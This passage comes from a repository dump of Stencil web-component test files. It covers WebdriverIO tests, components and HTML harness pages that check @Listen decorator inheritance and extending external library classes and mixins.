parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('base-host-event');\n    });\n\n    it('handles child class window listener', async () => {\n      const button = frameContent.querySelector('.trigger-child-window') as HTMLButtonElement;\n      const childEventsEl = frameContent.querySelector('.child-events');\n\n      const initialText = childEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Child Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Child Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Child Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('child-window-event');\n    });\n\n    it('handles child class document listener', async () => {\n      const button = frameContent.querySelector('.trigger-child-document') as HTMLButtonElement;\n      const childEventsEl = frameContent.querySelector('.child-events');\n\n      const initialText = childEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Child Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Child Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Child Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('child-document-event');\n    });\n\n    it('handles child class host listener', async () => {\n      const button = frameContent.querySelector('.trigger-child-host') as HTMLButtonElement;\n      const childEventsEl = frameContent.querySelector('.child-events');\n\n      const initialText = childEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Child Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Child Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childEventsEl?.textContent || '';\n      const finalMatch = finalText.match(/Child Events: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const eventLog = frameContent.querySelector('#event-log-list');\n      expect(eventLog?.textContent).toContain('child-host-event');\n    });\n\n    it('child override event handler takes precedence over base', async () => {\n      const button = frameContent.querySelector('.trigger-override') as HTMLButtonElement;\n      const eventLog = frameContent.querySelector('#event-log-list');\n\n      // Get initial log content\n      const initialLogContent = eventLog?.textContent || '';\n\n      button?.click();\n\n      // Wait for event processing and DOM update\n      await browser.waitUntil(\n        async () => {\n          const updatedLogContent = eventLog?.textContent || '';\n          return updatedLogContent.length > initialLogContent.length;\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify child handler was called (override behavior)\n      const finalLogContent = eventLog?.textContent || '';\n      expect(finalLogContent).toContain('override-event:child');\n\n      // Verify base handler was NOT called (override takes precedence)\n      // Count occurrences of 'override-event:base' - should be 0 (or same as initial)\n      const baseOverrideMatches = (finalLogContent.match(/override-event:base/g) || []).length;\n      const initialBaseOverrideMatches = (initialLogContent.match(/override-event:base/g) || []).length;\n      expect(baseOverrideMatches).toBe(initialBaseOverrideMatches);\n    });\n\n    it('handles event bubbling correctly', async () => {\n      const button = frameContent.querySelector('.trigger-bubble') as HTMLButtonElement;\n      const childEventsEl = frameContent.querySelector('.child-events');\n      const eventLog = frameContent.querySelector('#event-log-list');\n\n      const initialText = childEventsEl?.textContent || '';\n      const initialMatch = initialText.match(/Child Events: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childEventsEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Child Events: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalLogContent = eventLog?.textContent || '';\n      expect(finalLogContent).toContain('bubble-event:child');\n    });\n\n    it('tracks events in combined event log', async () => {\n      const totalEventsEl = frameContent.querySelector('.total-events');\n      const eventLog = frameContent.querySelector('#event-log-list');\n\n      // Trigger multiple events\n      const baseWindowBtn = frameContent.querySelector('.trigger-base-window') as HTMLButtonElement;\n      const childWindowBtn = frameContent.querySelector('.trigger-child-window') as HTMLButtonElement;\n      const baseHostBtn = frameContent.querySelector('.trigger-base-host') as HTMLButtonElement;\n\n      baseWindowBtn?.click();\n      await browser.pause(100);\n      childWindowBtn?.click();\n      await browser.pause(100);\n      baseHostBtn?.click();\n\n      // Wait for all events to process\n      await browser.waitUntil(\n        async () => {\n          const totalText = totalEventsEl?.textContent || '';\n          const totalMatch = totalText.match(/Total Events: (\\d+)/);\n          const totalCount = totalMatch ? parseInt(totalMatch[1], 10) : 0;\n          return totalCount >= 3;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalLogContent = eventLog?.textContent || '';\n\n      expect(finalLogContent).toContain('base-window-event');\n      expect(finalLogContent).toContain('child-window-event');\n      expect(finalLogContent).toContain('base-host-event');\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-events/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.event-info'), { timeout: 5000 });\n    });\n\n    it('inherits @Listen decorators in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-events');\n      const button = frameContent.querySelector('.trigger-base-window') as HTMLButtonElement;\n\n      const initialCount = component?.baseGlobalEventCount || 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const count = component?.baseGlobalEventCount || 0;\n          return count > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalCount = component?.baseGlobalEventCount || 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n    });\n\n    it('handles child @Listen decorators in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-events');\n      const button = frameContent.querySelector('.trigger-child-host') as HTMLButtonElement;\n\n      const initialCount = component?.childLocalEventCount || 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const count = component?.childLocalEventCount || 0;\n          return count > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalCount = component?.childLocalEventCount || 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-events/cmp.tsx",
    "content": "import { Component, Element, h, Listen, State } from '@stencil/core';\nimport { EventBase } from './event-base.js';\n\n/**\n * EventsCmp - Demonstrates @Listen decorator inheritance\n *\n * This component:\n * 1. Extends EventBase (inherits base @Listen decorators)\n * 2. Adds additional @Listen decorators\n * 3. Overrides base event handler\n * 4. Demonstrates event bubbling and propagation\n */\n@Component({\n  tag: 'extends-events',\n})\nexport class EventsCmp extends EventBase {\n  @Element() el!: HTMLElement;\n\n  // Child-specific event tracking\n  @State() childEventLog: string[] = [];\n  @State() childGlobalEventCount: number = 0;\n  @State() childLocalEventCount: number = 0;\n\n  // Additional global window listener in child\n  @Listen('child-window-event', { target: 'window' })\n  handleChildWindowEvent() {\n    this.childEventLog.push('child-window-event');\n    this.childGlobalEventCount++;\n  }\n\n  // Additional document listener in child\n  @Listen('child-document-event', { target: 'document' })\n  handleChildDocumentEvent() {\n    this.childEventLog.push('child-document-event');\n    this.childGlobalEventCount++;\n  }\n\n  // Additional local host listener in child\n  @Listen('child-host-event')\n  handleChildHostEvent() {\n    this.childEventLog.push('child-host-event');\n    this.childLocalEventCount++;\n  }\n\n  // Override base event handler - child version takes precedence\n  @Listen('override-event')\n  handleOverrideEvent() {\n    this.childEventLog.push('override-event:child');\n    this.childLocalEventCount++;\n    // Note: base handler is NOT called automatically - this is override behavior\n  }\n\n  // Event that bubbles - test event propagation\n  @Listen('bubble-event')\n  handleBubbleEvent(_e: Event) {\n    this.childEventLog.push('bubble-event:child');\n    this.childLocalEventCount++;\n    // Allow event to continue bubbling\n  }\n\n  // Method to trigger events for testing\n  triggerBaseWindowEvent() {\n    window.dispatchEvent(new Event('base-window-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerBaseDocumentEvent() {\n    document.dispatchEvent(new Event('base-document-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerBaseHostEvent() {\n    this.el.dispatchEvent(new Event('base-host-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerChildWindowEvent() {\n    window.dispatchEvent(new Event('child-window-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerChildDocumentEvent() {\n    document.dispatchEvent(new Event('child-document-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerChildHostEvent() {\n    this.el.dispatchEvent(new Event('child-host-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerOverrideEvent() {\n    this.el.dispatchEvent(new Event('override-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  triggerBubbleEvent() {\n    this.el.dispatchEvent(new Event('bubble-event', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  // Expose base class method for testing\n  getEventLog(): string[] {\n    return super.getEventLog();\n  }\n\n  // Get combined event log\n  getCombinedEventLog(): string[] {\n    return [...this.baseEventLog, ...this.childEventLog];\n  }\n\n  render() {\n    const combinedLog = this.getCombinedEventLog();\n    const totalGlobal = this.baseGlobalEventCount + this.childGlobalEventCount;\n    const totalLocal = this.baseLocalEventCount + this.childLocalEventCount;\n\n    return (\n      <div>\n        <h2>Event Handling Inheritance Test</h2>\n\n        <div class=\"event-info\">\n          <p class=\"base-events\">Base Events: {this.baseEventLog.length}</p>\n          <p class=\"child-events\">Child Events: {this.childEventLog.length}</p>\n          <p class=\"total-events\">Total Events: {combinedLog.length}</p>\n          <p class=\"global-count\">Global Events: {totalGlobal}</p>\n          <p class=\"local-count\">Local Events: {totalLocal}</p>\n        </div>\n\n        <div class=\"event-log\">\n          <h3>Event Log:</h3>\n          <ul id=\"event-log-list\">\n            {combinedLog.map((event, index) => (\n              <li key={index}>{event}</li>\n            ))}\n          </ul>\n        </div>\n\n        <div class=\"controls\">\n          <h3>Trigger Events:</h3>\n          <button class=\"trigger-base-window\" onClick={() => this.triggerBaseWindowEvent()}>\n            Base Window Event\n          </button>\n          <button class=\"trigger-base-document\" onClick={() => this.triggerBaseDocumentEvent()}>\n            Base Document Event\n          </button>\n          <button class=\"trigger-base-host\" onClick={() => this.triggerBaseHostEvent()}>\n            Base Host Event\n          </button>\n          <button class=\"trigger-child-window\" onClick={() => this.triggerChildWindowEvent()}>\n            Child Window Event\n          </button>\n          <button class=\"trigger-child-document\" onClick={() => this.triggerChildDocumentEvent()}>\n            Child Document Event\n          </button>\n          <button class=\"trigger-child-host\" onClick={() => this.triggerChildHostEvent()}>\n            Child Host Event\n          </button>\n          <button class=\"trigger-override\" onClick={() => this.triggerOverrideEvent()}>\n            Override Event\n          </button>\n          <button class=\"trigger-bubble\" onClick={() => this.triggerBubbleEvent()}>\n            Bubble Event\n          </button>\n        </div>\n\n        <div class=\"test-info\">\n          <p>Features: @Listen inheritance | Global vs Local listeners | Event handler override | Event bubbling</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-events/es2022.custom-element.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist-custom-elements output - Event Handling Inheritance</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-events.js';\n    defineCustomElement();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Event Handling Inheritance</h1>\n  <extends-events></extends-events>\n</body>\n</html>\n\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-events/es2022.dist.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist output - Event Handling Inheritance</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Event Handling Inheritance</h1>\n  <extends-events></extends-events>\n</body>\n</html>\n\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-events/event-base.ts",
    "content": "import { Listen, State } from '@stencil/core';\n\n/**\n * EventBase - Base class demonstrating @Listen decorator inheritance\n *\n * This base class provides:\n * 1. Global listeners (window, document)\n * 2. Local listeners (host)\n * 3. Event handlers that can be overridden\n */\nexport class EventBase {\n  // Track event calls for testing\n  @State() baseEventLog: string[] = [];\n  @State() baseGlobalEventCount: number = 0;\n  @State() baseLocalEventCount: number = 0;\n\n  // Global window listener - inherited by child\n  @Listen('base-window-event', { target: 'window' })\n  handleBaseWindowEvent() {\n    this.baseEventLog.push('base-window-event');\n    this.baseGlobalEventCount++;\n  }\n\n  // Global document listener - inherited by child\n  @Listen('base-document-event', { target: 'document' })\n  handleBaseDocumentEvent() {\n    this.baseEventLog.push('base-document-event');\n    this.baseGlobalEventCount++;\n  }\n\n  // Local host listener - inherited by child\n  @Listen('base-host-event')\n  handleBaseHostEvent() {\n    this.baseEventLog.push('base-host-event');\n    this.baseLocalEventCount++;\n  }\n\n  // Event handler that can be overridden in child\n  @Listen('override-event')\n  handleOverrideEvent() {\n    this.baseEventLog.push('override-event:base');\n    this.baseLocalEventCount++;\n  }\n\n  // Helper method to get event log\n  getEventLog(): string[] {\n    return [...this.baseEventLog];\n  }\n\n  // Helper method to reset event tracking\n  resetEventLog() {\n    this.baseEventLog = [];\n    this.baseGlobalEventCount = 0;\n    this.baseLocalEventCount = 0;\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending from external library component classes\n * (The external library is built via as a separate Stencil project in `test-sibling`) and built with\n *  `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Checks component classes can extend from external library component classes', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-external/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.extended-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-external/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.extended-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external', 'sibling-extended');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external', 'sibling-extended')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external', 'sibling-extended')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\nimport { SiblingExtended } from 'test-sibling/dist/collection/sibling-extended/sibling-extended';\n\n@Component({\n  tag: 'extends-external',\n})\nexport class ExtendsCmpCmp extends SiblingExtended {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineExtendedCmp } from '/test-ts-target-output/custom-elements/extends-external.js';\n    import { defineCustomElement as defineSiblingExtended } from '/test-ts-target-output/custom-elements/sibling-extended.js';\n    defineExtendedCmp();\n    defineSiblingExtended();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-external></extends-external>\n  <sibling-extended></sibling-extended>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-external/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-external></extends-external>\n  <sibling-extended></sibling-extended>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-external-abstract/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending from external library abstract mixin classes (no @Component decorator).\n * This tests Bug B: a project importing abstract mixin classes from a lib - those classes'\n * members should be properly merged in and have reactivity.\n *\n * The external library (test-sibling) exports an abstract mixin class with Stencil decorators\n * (@Prop, @State, @Method, @Watch) but no @Component decorator. The consuming project's\n * component extends from this abstract class.\n */\n\ndescribe('Checks component classes can extend from external library abstract mixin classes', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-external-abstract/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external-abstract');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external-abstract');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external-abstract');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external-abstract');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external-abstract');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest(\n        '/extends-external-abstract/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external-abstract');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external-abstract');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external-abstract');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external-abstract');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external-abstract');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external-abstract')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external-abstract')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-abstract/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\nimport { SiblingAbstractMixin } from 'test-sibling/dist/collection/sibling-abstract-mixin/sibling-abstract-mixin';\n\n/**\n * A component that extends from an external library's abstract mixin class.\n * This tests Bug B: importing abstract mixin classes from a lib - those classes'\n * members should be properly merged in and have reactivity.\n */\n@Component({\n  tag: 'extends-external-abstract',\n})\nexport class ExtendsExternalAbstract extends SiblingAbstractMixin {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-abstract/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineExtendsExternalAbstract } from '/test-ts-target-output/custom-elements/extends-external-abstract.js';\n    defineExtendsExternalAbstract();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-external-abstract></extends-external-abstract>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-abstract/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-external-abstract></extends-external-abstract>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-with-mixin/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending from external library component classes that internally use mixin patterns.\n * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n * class pattern - the decorated class members should be properly merged and have reactivity.\n *\n * The external library (test-sibling) has a component that uses `Mixin()` with a factory function.\n * This test extends from that component and verifies all decorated members from the mixin chain work.\n */\n\ndescribe('Checks component classes can extend from external library components that use mixin patterns', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-external-with-mixin/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest(\n        '/extends-external-with-mixin/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-external-with-mixin', 'sibling-with-mixin');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external-with-mixin', 'sibling-with-mixin')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-external-with-mixin', 'sibling-with-mixin')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-with-mixin/cmp.tsx",
